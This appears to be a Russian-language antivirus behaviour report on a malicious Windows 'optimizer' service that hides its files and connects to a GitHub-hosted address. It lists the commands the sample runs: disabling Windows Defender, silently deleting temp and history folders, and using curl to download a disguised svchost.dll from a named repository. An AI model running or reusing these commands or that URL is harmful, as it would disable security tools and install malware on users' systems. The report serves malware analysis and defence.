Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\SysOptSvc] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\SysOptSvc] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\Optimizer\optimizer.exe'
Создает следующие сервисы
- 'SysOptSvc' %ALLUSERSPROFILE%\Microsoft\Optimizer\optimizer.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Изменения в файловой системе
Создает следующие файлы
- nul
- %ALLUSERSPROFILE%\microsoft\optimizer\optimizer.exe
- %ALLUSERSPROFILE%\microsoft\optimizer\svchost.dll
Присваивает атрибут 'скрытый' для следующих файлов
- %ALLUSERSPROFILE%\microsoft\optimizer\optimizer.exe
- %ALLUSERSPROFILE%\microsoft\optimizer\svchost.dll
Сетевая активность
Подключается к
- 'ra#.####ubusercontent.com':443
TCP
Другие
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
Другое
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\optimizer\optimizer.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c del /q /f /s "%TEMP%\*" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c del /q /f /s "%WINDIR%\Temp\*" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c del /q /f /s "%WINDIR%\Prefetch\*" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c del /q /f /s "%APPDATA%\Microsoft\Windows\Recent\*" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f >nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnableSuperfetch /t REG_DWORD /d 0 /f >nul
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnableSuperfetch /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\System\GameConfigStore" /v GameDVR_Enabled /t REG_DWORD /d 0 /f >nul
- '<SYSTEM32>\reg.exe' add "HKCU\System\GameConfigStore" /v GameDVR_Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\GameDVR" /v AppCaptureEnabled /t REG_DWORD /d 0 /f >nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\GameDVR" /v AppCaptureEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\GameBar" /v AllowAutoGameMode /t REG_DWORD /d 0 /f >nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\GameBar" /v AllowAutoGameMode /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powercfg -setactive e9a42b02-d5df-448d-aa00-03f14749eb61 >nul
- '<SYSTEM32>\powercfg.exe' -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f >nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start= disabled >nul 2>&1
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\cmd.exe' /c curl.exe -s -L -k -o "%ALLUSERSPROFILE%\Microsoft\Optimizer\svchost.dll" "https://raw.githubusercontent.com/sigmaszzzz/testaaa/refs/heads/main/svchost.dll?token=GHSAT0AAAAAADR4HLY64BKNDPUR5H...
- '<SYSTEM32>\curl.exe' -s -L -k -o "%ALLUSERSPROFILE%\Microsoft\Optimizer\svchost.dll" "https://raw.githubusercontent.com/sigmaszzzz/testaaa/refs/heads/main/svchost.dll?token=GHSAT0AAAAAADR4HLY64BKNDPUR5H2KQC3O2KU6WI...
